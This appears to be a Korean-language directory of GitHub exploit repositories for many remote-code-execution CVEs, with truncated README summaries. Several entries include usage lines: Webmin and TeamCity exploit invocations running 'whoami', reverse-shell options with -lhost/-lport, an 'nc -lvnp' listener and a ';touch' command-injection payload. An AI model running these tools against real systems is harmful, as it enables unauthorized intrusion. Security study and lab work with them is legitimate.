Poleposph

Poleposph 스캔 도구 CVE-2024-25600 - WordPress Bricks Builder 원격 코드 실행RCE...

cve-2019-1003000-jenkins-rce-poc

PoC: Jenkins RCE SECURITY-1266 / CVE-2019-1003000 스크립트 보안, CVE-2019-1003001 파이프라인: Groovy, CVE-2019-1003002 파이프라인: 선언적 사용자가 Overall/Read 권한과 Job/Configure 및 선택적으로 Job/Build 권한을 가지고 샌드박스 보호를 우회하여 Jenkins 마스터 또는 노드에서 임의 코드를 실행할 수 있도록 하는 개념 증명입니다. 업데이트 : Orange Tsai의 기사는 CVE-2018-1000861과...

CVE-2016-2098

CVE-2016-2098 Ruby on Rails の Action Pack において、バージョン 3.2.22.2 未満、4.x 系の 4.1.14.2 未満、および 4.2.x 系の 4.2.5.2 未満では、アプリケーションが render メソッドを無制限に使用していることを利用して、リモートの攻撃者が任意の Ruby コードを実行できる脆弱性があります RCE https://nvd.nist.gov/vuln/detail/CVE-2016-2098 使い方 git clone https://github.com/Debalinax64/CVE-2016-2098.g...

CVE-2019-15107-Exploit

CVE-2019-15107 Python 익스플로잇 이 익스플로잇은 CVE-2019-15107 Webmin 1.890-1.920에 대한 인증되지 않은 RCE 이며 Python 으로 구현되었습니다. 사용법 python3 webminExploit.py python3 webminExploit.py 10.200.198.200 10000 whoami python3 webminExploit.py 10.200.198.200 10000 "curl -h"...

CVE-2018-4407-IOS

CVE-2018-4407-IOS CVE ? Common Vulnerabilities and Exposures TLDR 이 취약점은 XNU 운영체제 커널의 네트워킹 코드에서 발생하는 힙 버퍼 오버플로 입니다. XNU는 iOS와 macOS 모두에서 사용되므로 iPhone, iPad, MacBook이 모두 영향을 받습니다. 제 익스플로잇 PoC는 힙을 쓰레기로 덮어써서 즉각적인 커널 크래시 및 장치 재부팅을 일으킵니다. 설치 bash install.sh 사용법 python3 exploit.py POC...

exploit-CVE-2021-44228

CVE-2021-44228 – Log4j 인증되지 않은 RCE 소개 이것은 Log4j 인증되지 않은 RCECVE-2021-44228에 대한 개념 증명 익스플로잇입니다. 이 취약점은 버전 2.15.0에 영향을 미칩니다. 자세한 정보: https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j 기여자 @pedrohavay 면책 조항 이 프로젝트는 교육 목적 으로만 제작되었으며, 법률 위반이나 개인적 이익을 위해 사용될 수 없습니다...

CVE-2023-42793

CVE-2023-42793 TeamCity CVE-2023-42793 RCE 원격 코드 실행 rce.py 영감을 받음 - https://www.prio-n.com/blog/cve-2023-42793-attacking-defending-JetBrains-TeamCity python3 rce.py --url teamcity.runner.htb --command whoami exploit.py 이 스크립트는 ByteHunter가 만든 https://www.exploit-db.com/exploits/51884 의 복사본입니다. 이...

CVE-2013-0156

원본 스크립트 참조 원본 익스플로잇 스크립트에 대한 자세한 내용은 gist 링크 CVE-2013-0156를 참조하세요. CVE-2013-0156 익스플로잇 스크립트 이 스크립트는 CVE-2013-0156 익스플로잇에 대한 PentesterLab 챌린지를 해결하기 위해 특별히 설계되었습니다. 챌린지는 여기에서 확인할 수 있습니다: PentesterLab - CVE-2013-0156 Challenge. 이 Python 스크립트는 Ruby on Rails 애플리케이션에서 YAML 객체의 안전하지 않은 역직렬화로 인해 발생하는 치명적...

pandorafms_7.44

Pandora FMS 7.44 CVE-2020-13851 Pandora FMS 7.44 CVE-2020-13851 RCE는 인증된 사용자가 이벤트 기능을 통해 원격 명령 실행을 달성할 수 있도록 합니다. 자격 증명 또는 PHP 세션 쿠키로 수행할 수 있습니다. 시작하기 프로그램 실행 자격 증명 사용 python3 pandorafms7.44.py -t http://pwnedpandora.com/ -u username -p password -lhost 127.0.0.1 -lport 1337 PHP 세션 쿠키 사용 python3...

exploit_CVE-2023-33831

exploitCVE-2023-33831 CVE-2023-33831 설치 git clone https://github.com/btar1gan/exploitCVE-2023-33831 사용법 자동 cd exploitCVE-2023-33831/ 리스너 설정 python3 33831.py 수동 nc -lvnp 1881 code 매개변수에 리스너 설정 33831.txt를 Repeater에 복사...

Zerologon

Zerologon CVE-2020-1472일명 Zerologon용 익스플로잇 코드...

CVE-2024-4885

CVE-2024-4885 CVE-2024-4885 Progress WhatsUp Gold GetFileWithoutZip 인증되지 않은 원격 코드 실행에 대한 PoC CVE-2024-4885 기술 분석 취약점의 근본 원인 분석은 제 블로그에서 확인할 수 있습니다: https://summoning.team/blog/progress-whatsup-gold-rce-cve-2024-4885/ 사용 방법 python3 CVE-2024-4885.py -t http://192.168.0.231:9642 -s 192.168.0.181:133...

CVE-2022-36804-ReverseShell

원본 프로젝트 https://github.com/BenHays142/CVE-2022-36804-PoC-Exploit CVE-2022-36804-PoC-Exploit CVE-2022-36804 BitBucket Critical Command Injection에 대한 다소 신뢰할 수 있는 PoC 익스플로잇입니다. 이 공격은 일반적으로 공개 저장소가 활성화되어 있어야 하지만, 세션 쿠키도 이 익스플로잇과 호환됩니다. 참고: 이 익스플로잇에는 자동 저장소 감지 기능이 포함되어 있어 직접 공개 저장소를 수동으로 찾고 싶지 않은 경우...

CVE-2023-39362-cacti-snmp-command-injection-poc

Cacti CVE-2023-39362 명령 삽입 취약점 - PoC 이 저장소는 다음 저장소에서 포크되었습니다: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application Cacti는 오픈 소스 운영 모니터링 및 장애 관리 프레임워크로, 사용자 커뮤니티의 역동적인 요구를 충족하기 위해 지속적으로 발전하고 있습니다. 버전 1.2.24에서 CVE-2023-39362로 표시된 잠재적인 보안 취약점이 확인되었습니다. 특정 조건에서 인증된 권한 있는 사용자가...

CVE-2025-34227_Nagios-XI-Command-Injection-Configuration-Wizard

CVE-2025-34227 Nagios XI Configuration Wizard의 인증된 명령 주입 CVE-2025-34227에 대한 간단한 개념 증명PoC 저장소입니다. Nagios XI - Configuration Wizard에서 발생하는 인증된 명령 주입 취약점입니다. 전체 분석 글: https://theyhack.me/CVE-2025-34227-Nagios-XI-Wizard-Command-Injection/ curl 개념 증명PoC 아래의 페이로드는 database 매개변수에 포함되어 있습니다: ;touch...

Spring4Shell-POC

Spring4Shell-POC Spring4Shell 취약점 로컬 재현 과정 환경 준비 환경 docker, docker-compose mvn 패키징, ./target/ROOT.war 생성shell mvn package 서비스 시작shell docker-compose up -d 서비스 종료shell docker-compose down 재현 과정 스크립트 실행shell python3 spring-4-shell-exp.py --url "http://127.0.0.1:8080" 첫 번째 실행 두 번째 실행 실행 과정 ➜...

CVE-2024-25600

수정된 CVE-2024-25600 원본 - https://github.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT WordPress Bricks Builder RCE 익스플로잇 CVE-2024-25600을 위한 Python 익스플로잇 - WordPress Bricks Builder 원격 코드 실행 취약점. 설명 이 도구는 WordPress Bricks Builder 플러그인의 중요한 취약점을 악용하며, 인증되지 않은 원격 코드 실행을 허용합니다. 이 취약점은 renderelement 함수에 존재하며, 사...

CVE-2023-36664-Ghostscript-command-injection

Ghostscript 명령 삽입 취약점 PoC CVE-2023-36664 Ghostscript 버전 10.01.2 이전에서 발견된 취약점으로, 코드 실행으로 이어집니다 CVSS 점수 9.8. 공식 취약점 설명: Artifex Ghostscript 10.01.2까지 파이프 장치%pipe% 접두사 또는 | 파이프 문자 접두사에 대한 권한 검증을 잘못 처리합니다. 데비안에서 임의 명령 실행 가능성을 언급한 보안 권고를 발표했습니다: "GhostscriptGPL PostScript/PDF 인터프리터가 파이프 장치에 대한 권한 검증을...

omigod-lab

Readme Open Management Infrastructure 소프트웨어의 9.6 CVSS 무인증 원격 코드 실행RCE 취약점CVE-2021-38647을 학습하기 위한 교육용 랩 VM입니다. 공개원본 연구: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure OMI 소스 코드: https://github.com/microsoft/omi 뉴스:...

CVE-2020-16898-EXP-POC

CVE-2020-16898 CVE-2020-16898 Windows TCP/IP 원격 코드 실행 취약점 EXP&POC 재현 forforever：https://www.cnblogs.com/forforever/p/13846077.html poc CVE-2020-16898Checker-poc 명령: 관리자 권한으로 powershell/CMD 실행 Powershell.exe -ExecutionPolicy UnRestricted -File .\CVE-2020-16898-poc.ps1 exp cve-2020-16898-exp2 조건: 대...